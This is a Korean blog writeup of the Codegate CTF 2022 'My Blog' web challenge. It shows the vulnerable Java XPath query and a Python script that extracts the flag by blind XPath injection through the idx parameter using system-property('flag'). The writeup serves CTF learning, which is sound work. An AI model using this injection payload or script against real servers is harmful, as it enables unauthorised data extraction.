Codegate CTF 2022 WEB My Blog Writeup
1. My Blog Writeup
Description
I made a blog. Please check the security.
http://3.39.79.180
사이트에 접속하면 다음과 같은 화면이 나온다. Blog를 만들고 보안 체크를 해달라고 한다.
Docker 파일에서 flag를 볼 수 있었는데 tomcat 서버에서 catalina.properties가 설정되어 있었다. 이 설정이 되어있는 경우 System.getProperty 같은 함수가 xpath를 사용할 때 내부적으로 쓸 수 있다고 한다.
tomcat catalina.properties
서버를 시작할 때 검새하는 서버, 공유 로더, jar 등의 공유정보를 포함하도록 설정.
이번 문제도 java문제이다. 바로 클래스 파일 찾아서 blogServlet.class를 디컴파일했다. 여기서 Ctrl + F로 xpath를 검색했더니 225~226번 줄에서 취약해 보이는 부분을 발견했다.
String title = (String)xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING);
String content = (String)xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
"/blog/read?idx=1" 경로로 요청을 하면 글을 읽을 수 있었다. 코드에서 확인해보니 xpath.evaluateq 함수를 통해 idx값이 필터링 없이 전달되는 모습을 보이고 있다. 따라서 Xpath injection을 통해 flag를 찾을 수 있을 것이다.
XPath Injection
: XML 구조에 악의적인 행위를 일으키는 내용을 삽입하거나 Xpath를 조작하여 XML의 내용을 노출하는 취약점.
XPath 란
: 일종의 퀄리로 XML 데이터베이스 내용을 선택하고 조작하기 위하여 사용.
XML 데이터베이스
XML 표준 문서 구조를 계층형 트리 형태로 저장하거나 관리하기 위해 만든 데이터베이스이다. 데이터 중심 기반 또는 XML 문서 중심이고, XML 문서 형태로 저장/검증하며 문서 단위, 요소(element) 단위 검색 기능, 검색어 색인 저장 기술을 활용한다.
exploit
import requests
cookies = {
'JSESSIONID':'abcd1234',
}
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) Applewebkit/537.36(HTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
}
chars = "abcdef1234567890"
FLAG = "codegate2022{"
MY_TEXT = "asd"
for i in range(14, 14+32+1):
for c in chars:
print(i, c)
params = (
('idx', f'1\'and substring(system-property(\'flag\'),{i},1)="{c}"and\'1'),
)
res = requests.get('http://3.39.79.180/blog/read', headers=headers, params=params, cookies=cookies, verify=False)
if MY_TEXT in res.text:
FLAG = FLAG + c
print(FLAG)
break
FLAG:codegate2022{bcbbc8d6c8f7ea1924ee108f108f38cc000f}
참고문헌
https://ar9ang3.tistory.com/70
https://domdom.tistory.com/entry/Codegate2022%EC%98%88%EC%84%A0-WEB-MYBLOG
https://adragos.ro/codegate-2022-preliminary/#myblog
https://github.com/theori-io/ctf/blob/master/2022/Codegate%202022%20Prequal%20Write%20up.pdf
https://ninetynine-2026.tistory.com/353
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=crehacktive3&logNo=220989527324
https://lopicit.tistory.com/466
'웹해킹 > CTF' 카테고리의 다른 글
TUCTF 2022 Web Tornado Writeup (0) | 2022.12.06 |
---|---|
화이트햇 콘테스트 2022 CTF Web Buffalo [Secret] (0) | 2022.11.23 |
화이트햇 콘테스트 2022 Web Buffalo[Steal] Writeup (0) | 2022.11.19 |
Codegate 2022 webhacking CAFE Writeup (0) | 2022.11.18 |
Codegate 2022 webhacking Baby First Writeup (0) | 2022.11.16 |